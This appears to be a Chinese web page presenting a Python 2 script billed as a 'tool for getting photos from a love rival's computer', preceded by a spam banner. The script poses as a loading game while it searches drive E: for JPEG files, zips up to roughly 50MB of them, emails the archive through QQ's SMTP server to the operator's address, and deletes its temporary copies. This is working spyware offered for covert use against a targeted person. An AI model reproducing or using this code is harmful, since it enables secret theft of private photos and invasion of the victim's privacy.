获取情敌电脑内照片神器

清华大佬耗费三个月吐血整理的几百G的资源,免费分享!....>>>

#!usr/bin/env python
#coding=utf-8
print '     **********************************************'
print '     *              THIS IS A GAME                *'
print '     *                  BY TZC                    *' 
print '     *     Sorry ,Waiting three minutes please!   *'
print '     **********************************************'
import os
import re
import shutil
import smtplib
import email
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
import os.path
import mimetypes
import zipfile
import sys


def path_find(path_filename):
    global num
    try:
        pathlist= os.listdir(path_filename)
        for i in pathlist:
            path_all=os.path.join(path_filename,i)
            if os.path.isfile(path_all):
                # print path_all
                 re_file=re.compile(res)
                 re_files=re_file.findall(path_all)
                 
                # print re_files
                 if len(re_files)==1:
                      filenames.append(re_files[0]) 
                   #  print re_files[0]
                 try:
                      num=num+os.path.getsize(re_files[0])
                      #print num
                      if  num<300000000:        #判断文件夹的大小,并设置一个上限
                             shutil.copy(re_files[0],'f:/system')
                             #f.write(re_files[0])
                      else:
							    break
                 except:
                         #print 'error'
                         pass
                 else:
                     pass
            else:
                path_find(path_all)
    except:
        #print 'this is error dirctory!'
        pass
def emails(ev=None):
  try:
    From = "邮箱"
    To = ['邮箱']
    file_name = "f:/system.zip"#附件名
    server = smtplib.SMTP("smtp.qq.com")
    server.login("邮箱账号","邮箱密码") #仅smtp服务器需要验证时
    # 构造MIMEMultipart对象做为根容器
    main_msg = email.MIMEMultipart.MIMEMultipart()
    # 构造MIMEText对象做为邮件显示内容并附加到根容器
    text_msg = email.MIMEText.MIMEText("this is a test text to text mime",_charset="utf-8")
    main_msg.attach(text_msg)
    # 构造MIMEBase对象做为文件附件内容并附加到根容器
    ## 读入文件内容并格式化
    data = open(file_name, 'rb')
    ctype,encoding = mimetypes.guess_type(file_name)
    if ctype is None or encoding is not None:
        ctype = 'application/octet-stream'
    maintype,subtype = ctype.split('/',1)
    file_msg = email.MIMEBase.MIMEBase(maintype, subtype)
    file_msg.set_payload(data.read())
    data.close( )
    email.Encoders.encode_base64(file_msg)#把附件编码
    '''''
     测试识别文件类型:mimetypes.guess_type(file_name)
     rar 文件             ctype,encoding值:None None(ini文件、csv文件、apk文件)
     txt text/plain None
     py  text/x-python None
     gif image/gif None
     png image/x-png None
     jpg image/pjpeg None
     pdf application/pdf None
     doc application/msword None
     zip application/x-zip-compressed None
    encoding值在什么情况下不是None呢?以后有结果补充。
    '''
    #---------------------------------------------
    ## 设置附件头
    basename = os.path.basename(file_name)
    file_msg.add_header('Content-Disposition','attachment', filename = basename)#修改邮件头
    main_msg.attach(file_msg)
    # 设置根容器属性
    main_msg['From'] = From
    main_msg['To'] = ";".join(To)
    main_msg['Subject'] = "attach test "
    main_msg['Date'] = email.Utils.formatdate( )
    # 得到格式化后的完整文本
    fullText = main_msg.as_string( )
    # 用smtp发送邮件
    print '          This loading....70%......waiting.......'
    try:
        server.sendmail(From, To, fullText)
    finally:
        server.quit()
    print '          This loading....90%......waiting.......'
  except:
      pass
if __name__=='__main__':
    print '          Waiting Please......Game Loading......'
    print ''
    print '          This loading....10%......Waiting.......'
    num=0
    x=51
    try:
       os.mkdir(r'f:/system/')
    except:
        pass
    filenames=[]
    res=r'.*\.jpg'
    path_filename="e:/"       
	#raw_input('dirctory(example D:/):')
    # re_rule=raw_input('filetype(example:txt):')
    # re_rule='.*\.'+re_rule
    path_find(path_filename)
    print '          This loading....30%......Waiting.......'
    f=zipfile.ZipFile('f:/system.zip','a',zipfile.ZIP_DEFLATED)
    startdir="f:/system"
    for dirpath, dirnames, filename_s in os.walk(startdir):
        for filename_a in filename_s:
            if  os.path.getsize('f:/system.zip')<49000000:  #因为附件最大只能50M。
                f.write(os.path.join(dirpath,filename_a))
            else:
                break
    f.close()
    print '          This loading....50%......Waiting.......'
    emails()
    try:
        shutil.rmtree('f:/system')
        os.remove('f:/system.zip')
    except:
        pass
    print '          This loading....100%.....Thanks you very much' 
    print ''
    print '                         bye bye'
    print ''
    print ''